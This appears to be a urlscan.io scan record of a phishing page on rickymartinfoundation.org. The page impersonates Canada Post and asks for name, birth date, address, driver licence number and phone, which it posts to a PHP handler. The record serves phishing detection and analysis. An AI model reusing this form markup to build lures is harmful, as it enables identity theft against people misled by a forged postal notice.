rickymartinfoundation.org Open in urlscan Pro
162.241.218.190  Public Scan

Form analysis
1 forms found in the DOM

POST ./FUNC/2.php

<form action="./FUNC/2.php" method="POST" id="loginForm">
  <div id="headForm" style="background:#004990;">
    <img src="./img/Canada-Post-logo.png" style="padding:5px 0 0 0; width: 250px;">
  </div>
  <h2>CONFIRM YOUR SHIPPING ADDRESS</h2>
  <input type="text" id="fullname" name="FName" placeholder="Full Name" required="">
  <input id="dy" type="tel" name="date" placeholder="dd/mm/yyyy" onkeypress="" onkeyup="var v = this.value;
        if (v.match(/^\d{2}$/) !== null)
        {
            this.value = v + '/';
        } else if (v.match(/^\d{2}\/\d{2}$/) !== null)
        {
            this.value = v + '/';
        }" maxlength="10" required="">
  <input type="text" id="adr1" name="Adresse" placeholder="Address" required="">
  <input type="text" id="adr2" name="Adresse2" placeholder="Valid Driver Licence Number" required="">
  <div class="div-input">
    <select id="country" name="country">
      <option disabled="">Country</option>
      <option value="Afganistan">Canada</option>
      <option value="Albania">Albania</option>
      <option value="Algeria">Algeria</option>
      <option value="American Samoa">American Samoa</option>
      <option value="Andorra">Andorra</option>
      <option value="Angola">Angola</option>
      <option value="Anguilla">Anguilla</option>
      <option value="Antigua &amp; Barbuda">Antigua &amp; Barbuda</option>
      <option value="Argentina">Argentina</option>
      <option value="Armenia">Armenia</option>
      <option value="Aruba">Aruba</option>
      <option value="Australia">Australia</option>
      <option value="Austria">Austria</option>
      <option value="Azerbaijan">Azerbaijan</option>
      <option value="Bahamas">Bahamas</option>
      <option value="Bahrain">Bahrain</option>
      <option value="Bangladesh">Bangladesh</option>
      <option value="Barbados">Barbados</option>
      <option value="Belarus">Belarus</option>
      <option value="Belgium">Belgium</option>
      <option value="Belize">Belize</option>
      <option value="Benin">Benin</option>
      <option value="Bermuda">Bermuda</option>
      <option value="Bhutan">Bhutan</option>
      <option value="Bolivia">Bolivia</option>
      <option value="Bonaire">Bonaire</option>
      <option value="Bosnia &amp; Herzegovina">Bosnia &amp; Herzegovina</option>
      <option value="Botswana">Botswana</option>
      <option value="Brazil">Brazil</option>
      <option value="British Indian Ocean Ter">British Indian Ocean Ter</option>
      <option value="Brunei">Brunei</option>
      <option value="Bulgaria">Bulgaria</option>
      <option value="Burkina Faso">Burkina Faso</option>
      <option value="Burundi">Burundi</option>
      <option value="Cambodia">Cambodia</option>
      <option value="Cameroon">Cameroon</option>
      <option value="Canada">Canada</option>
      <option value="Canary Islands">Canary Islands</option>
      <option value="Cape Verde">Cape Verde</option>
      <option value="Cayman Islands">Cayman Islands</option>
      <option value="Central African Republic">Central African Republic</option>
      <option value="Chad">Chad</option>
      <option value="Channel Islands">Channel Islands</option>
      <option value="Chile">Chile</option>
      <option value="China">China</option>
      <option value="Christmas Island">Christmas Island</option>
      <option value="Cocos Island">Cocos Island</option>
      <option value="Colombia">Colombia</option>
      <option value="Comoros">Comoros</option>
      <option value="Congo">Congo</option>
      <option value="Cook Islands">Cook Islands</option>
      <option value="Costa Rica">Costa Rica</option>
      <option value="Cote DIvoire">Cote D'Ivoire</option>
      <option value="Croatia">Croatia</option>
      <option value="Cuba">Cuba</option>
      <option value="Curaco">Curacao</option>
      <option value="Cyprus">Cyprus</option>
      <option value="Czech Republic">Czech Republic</option>
      <option value="Denmark">Denmark</option>
      <option value="Djibouti">Djibouti</option>
      <option value="Dominica">Dominica</option>
      <option value="Dominican Republic">Dominican Republic</option>
      <option value="East Timor">East Timor</option>
      <option value="Ecuador">Ecuador</option>
      <option value="Egypt">Egypt</option>
      <option value="El Salvador">El Salvador</option>
      <option value="Equatorial Guinea">Equatorial Guinea</option>
      <option value="Eritrea">Eritrea</option>
      <option value="Estonia">Estonia</option>
      <option value="Ethiopia">Ethiopia</option>
      <option value="Falkland Islands">Falkland Islands</option>
      <option value="Faroe Islands">Faroe Islands</option>
      <option value="Fiji">Fiji</option>
      <option value="Finland">Finland</option>
      <option value="France">France</option>
      <option value="French Guiana">French Guiana</option>
      <option value="French Polynesia">French Polynesia</option>
      <option value="French Southern Ter">French Southern Ter</option>
      <option value="Gabon">Gabon</option>
      <option value="Gambia">Gambia</option>
      <option value="Georgia">Georgia</option>
      <option value="Germany">Germany</option>
      <option value="Ghana">Ghana</option>
      <option value="Gibraltar">Gibraltar</option>
      <option value="Great Britain">Great Britain</option>
      <option value="Greece">Greece</option>
      <option value="Greenland">Greenland</option>
      <option value="Grenada">Grenada</option>
      <option value="Guadeloupe">Guadeloupe</option>
      <option value="Guam">Guam</option>
      <option value="Guatemala">Guatemala</option>
      <option value="Guinea">Guinea</option>
      <option value="Guyana">Guyana</option>
      <option value="Haiti">Haiti</option>
      <option value="Hawaii">Hawaii</option>
      <option value="Honduras">Honduras</option>
      <option value="Hong Kong">Hong Kong</option>
      <option value="Hungary">Hungary</option>
      <option value="Iceland">Iceland</option>
      <option value="India">India</option>
      <option value="Indonesia">Indonesia</option>
      <option value="Iran">Iran</option>
      <option value="Iraq">Iraq</option>
      <option value="Ireland">Ireland</option>
      <option value="Isle of Man">Isle of Man</option>
      <option value="Israel">Israel</option>
      <option value="Italy">Italy</option>
      <option value="Jamaica">Jamaica</option>
      <option value="Japan">Japan</option>
      <option value="Jordan">Jordan</option>
      <option value="Kazakhstan">Kazakhstan</option>
      <option value="Kenya">Kenya</option>
      <option value="Kiribati">Kiribati</option>
      <option value="Korea North">Korea North</option>
      <option value="Korea Sout">Korea South</option>
      <option value="Kuwait">Kuwait</option>
      <option value="Kyrgyzstan">Kyrgyzstan</option>
      <option value="Laos">Laos</option>
      <option value="Latvia">Latvia</option>
      <option value="Lebanon">Lebanon</option>
      <option value="Lesotho">Lesotho</option>
      <option value="Liberia">Liberia</option>
      <option value="Libya">Libya</option>
      <option value="Liechtenstein">Liechtenstein</option>
      <option value="Lithuania">Lithuania</option>
      <option value="Luxembourg">Luxembourg</option>
      <option value="Macau">Macau</option>
      <option value="Macedonia">Macedonia</option>
      <option value="Madagascar">Madagascar</option>
      <option value="Malaysia">Malaysia</option>
      <option value="Malawi">Malawi</option>
      <option value="Maldives">Maldives</option>
      <option value="Mali">Mali</option>
      <option value="Malta">Malta</option>
      <option value="Marshall Islands">Marshall Islands</option>
      <option value="Martinique">Martinique</option>
      <option value="Mauritania">Mauritania</option>
      <option value="Mauritius">Mauritius</option>
      <option value="Mayotte">Mayotte</option>
      <option value="Mexico">Mexico</option>
      <option value="Midway Islands">Midway Islands</option>
      <option value="Moldova">Moldova</option>
      <option value="Monaco">Monaco</option>
      <option value="Mongolia">Mongolia</option>
      <option value="Montserrat">Montserrat</option>
      <option value="Morocco">Morocco</option>
      <option value="Mozambique">Mozambique</option>
      <option value="Myanmar">Myanmar</option>
      <option value="Nambia">Nambia</option>
      <option value="Nauru">Nauru</option>
      <option value="Nepal">Nepal</option>
      <option value="Netherland Antilles">Netherland Antilles</option>
      <option value="Netherlands">Netherlands (Holland, Europe)</option>
      <option value="Nevis">Nevis</option>
      <option value="New Caledonia">New Caledonia</option>
      <option value="New Zealand">New Zealand</option>
      <option value="Nicaragua">Nicaragua</option>
      <option value="Niger">Niger</option>
      <option value="Nigeria">Nigeria</option>
      <option value="Niue">Niue</option>
      <option value="Norfolk Island">Norfolk Island</option>
      <option value="Norway">Norway</option>
      <option value="Oman">Oman</option>
      <option value="Pakistan">Pakistan</option>
      <option value="Palau Island">Palau Island</option>
      <option value="Palestine">Palestine</option>
      <option value="Panama">Panama</option>
      <option value="Papua New Guinea">Papua New Guinea</option>
      <option value="Paraguay">Paraguay</option>
      <option value="Peru">Peru</option>
      <option value="Phillipines">Philippines</option>
      <option value="Pitcairn Island">Pitcairn Island</option>
      <option value="Poland">Poland</option>
      <option value="Portugal">Portugal</option>
      <option value="Puerto Rico">Puerto Rico</option>
      <option value="Qatar">Qatar</option>
      <option value="Republic of Montenegro">Republic of Montenegro</option>
      <option value="Republic of Serbia">Republic of Serbia</option>
      <option value="Reunion">Reunion</option>
      <option value="Romania">Romania</option>
      <option value="Russia">Russia</option>
      <option value="Rwanda">Rwanda</option>
      <option value="St Barthelemy">St Barthelemy</option>
      <option value="St Eustatius">St Eustatius</option>
      <option value="St Helena">St Helena</option>
      <option value="St Kitts-Nevis">St Kitts-Nevis</option>
      <option value="St Lucia">St Lucia</option>
      <option value="St Maarten">St Maarten</option>
      <option value="St Pierre &amp; Miquelon">St Pierre &amp; Miquelon</option>
      <option value="St Vincent &amp; Grenadines">St Vincent &amp; Grenadines</option>
      <option value="Saipan">Saipan</option>
      <option value="Samoa">Samoa</option>
      <option value="Samoa American">Samoa American</option>
      <option value="San Marino">San Marino</option>
      <option value="Sao Tome &amp; Principe">Sao Tome &amp; Principe</option>
      <option value="Saudi Arabia">Saudi Arabia</option>
      <option value="Senegal">Senegal</option>
      <option value="Serbia">Serbia</option>
      <option value="Seychelles">Seychelles</option>
      <option value="Sierra Leone">Sierra Leone</option>
      <option value="Singapore">Singapore</option>
      <option value="Slovakia">Slovakia</option>
      <option value="Slovenia">Slovenia</option>
      <option value="Solomon Islands">Solomon Islands</option>
      <option value="Somalia">Somalia</option>
      <option value="South Africa">South Africa</option>
      <option value="Spain">Spain</option>
      <option value="Sri Lanka">Sri Lanka</option>
      <option value="Sudan">Sudan</option>
      <option value="Suriname">Suriname</option>
      <option value="Swaziland">Swaziland</option>
      <option value="Sweden">Sweden</option>
      <option value="Switzerland">Switzerland</option>
      <option value="Syria">Syria</option>
      <option value="Tahiti">Tahiti</option>
      <option value="Taiwan">Taiwan</option>
      <option value="Tajikistan">Tajikistan</option>
      <option value="Tanzania">Tanzania</option>
      <option value="Thailand">Thailand</option>
      <option value="Togo">Togo</option>
      <option value="Tokelau">Tokelau</option>
      <option value="Tonga">Tonga</option>
      <option value="Trinidad &amp; Tobago">Trinidad &amp; Tobago</option>
      <option value="Tunisia">Tunisia</option>
      <option value="Turkey">Turkey</option>
      <option value="Turkmenistan">Turkmenistan</option>
      <option value="Turks &amp; Caicos Is">Turks &amp; Caicos Is</option>
      <option value="Tuvalu">Tuvalu</option>
      <option value="Uganda">Uganda</option>
      <option value="Ukraine">Ukraine</option>
      <option value="United Arab Erimates">United Arab Emirates</option>
      <option value="United Kingdom">United Kingdom</option>
      <option value="United States">United States</option>
      <option value="Uraguay">Uruguay</option>
      <option value="Uzbekistan">Uzbekistan</option>
      <option value="Vanuatu">Vanuatu</option>
      <option value="Vatican City State">Vatican City State</option>
      <option value="Venezuela">Venezuela</option>
      <option value="Vietnam">Vietnam</option>
      <option value="Virgin Islands (Brit)">Virgin Islands (Brit)</option>
      <option value="Virgin Islands (USA)">Virgin Islands (USA)</option>
      <option value="Wake Island">Wake Island</option>
      <option value="Wallis &amp; Futana Is">Wallis &amp; Futana Is</option>
      <option value="Yemen">Yemen</option>
      <option value="Zaire">Zaire</option>
      <option value="Zambia">Zambia</option>
      <option value="Zimbabwe">Zimbabwe</option>
    </select>
  </div>
  <input type="text" id="mdina" name="City" placeholder="City" required="">
  <input type="text" id="jiha" name="state" placeholder="State" required="">
  <input type="text" id="postal" name="Zip" placeholder="Zip" required="">
  <input type="text" id="tel" name="Phone" placeholder="Phone" required="">
  <div class="form-group1">
    <img src="./captcha/captcha.php" class="captcha"><br>
    <!-- CHANGE TEXT LINK -->
    <a href="" onclick="
    document.getElementById('captcha').src='./captcha/captcha.php?'+Math.random();
    document.getElementById('captcha-form').focus();" id="change-image">Not readable? Change text.</a><br><br>
  </div>
  <span class="error"></span>
  <input type="text" name="captcha" id="captcha-form" autocomplete="off" placeholder="Captcha" required=""><br>
  <button type="submit">Confirm</button>
  <p style="font-weight: bold; font-size: 14px; color:#9B3040; margin: 0 0 -25px 0; padding: 0;">2020 漏 CANADA POST International GmbH. All rights reserved.</p>
</form>

Text Content

 * 1 Billing Info
 * 2 Payment Method
 * 3 Checkout
 * 4 Success


CONFIRM YOUR SHIPPING ADDRESS

Country Canada Albania Algeria American Samoa Andorra Angola Anguilla Antigua &
Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain
Bangladesh Barbados Belarus Belgium Belize Benin Bermuda Bhutan Bolivia Bonaire
Bosnia & Herzegovina Botswana Brazil British Indian Ocean Ter Brunei Bulgaria
Burkina Faso Burundi Cambodia Cameroon Canada Canary Islands Cape Verde Cayman
Islands Central African Republic Chad Channel Islands Chile China Christmas
Island Cocos Island Colombia Comoros Congo Cook Islands Costa Rica Cote D'Ivoire
Croatia Cuba Curacao Cyprus Czech Republic Denmark Djibouti Dominica Dominican
Republic East Timor Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia
Ethiopia Falkland Islands Faroe Islands Fiji Finland France French Guiana French
Polynesia French Southern Ter Gabon Gambia Georgia Germany Ghana Gibraltar Great
Britain Greece Greenland Grenada Guadeloupe Guam Guatemala Guinea Guyana Haiti
Hawaii Honduras Hong Kong Hungary Iceland India Indonesia Iran Iraq Ireland Isle
of Man Israel Italy Jamaica Japan Jordan Kazakhstan Kenya Kiribati Korea North
Korea South Kuwait Kyrgyzstan Laos Latvia Lebanon Lesotho Liberia Libya
Liechtenstein Lithuania Luxembourg Macau Macedonia Madagascar Malaysia Malawi
Maldives Mali Malta Marshall Islands Martinique Mauritania Mauritius Mayotte
Mexico Midway Islands Moldova Monaco Mongolia Montserrat Morocco Mozambique
Myanmar Nambia Nauru Nepal Netherland Antilles Netherlands (Holland, Europe)
Nevis New Caledonia New Zealand Nicaragua Niger Nigeria Niue Norfolk Island
Norway Oman Pakistan Palau Island Palestine Panama Papua New Guinea Paraguay
Peru Philippines Pitcairn Island Poland Portugal Puerto Rico Qatar Republic of
Montenegro Republic of Serbia Reunion Romania Russia Rwanda St Barthelemy St
Eustatius St Helena St Kitts-Nevis St Lucia St Maarten St Pierre & Miquelon St
Vincent & Grenadines Saipan Samoa Samoa American San Marino Sao Tome & Principe
Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Slovakia Slovenia
Solomon Islands Somalia South Africa Spain Sri Lanka Sudan Suriname Swaziland
Sweden Switzerland Syria Tahiti Taiwan Tajikistan Tanzania Thailand Togo Tokelau
Tonga Trinidad & Tobago Tunisia Turkey Turkmenistan Turks & Caicos Is Tuvalu
Uganda Ukraine United Arab Emirates United Kingdom United States Uruguay
Uzbekistan Vanuatu Vatican City State Venezuela Vietnam Virgin Islands (Brit)
Virgin Islands (USA) Wake Island Wallis & Futana Is Yemen Zaire Zambia Zimbabwe

Not readable? Change text.



Confirm

2020 漏 CANADA POST International GmbH. All rights reserved.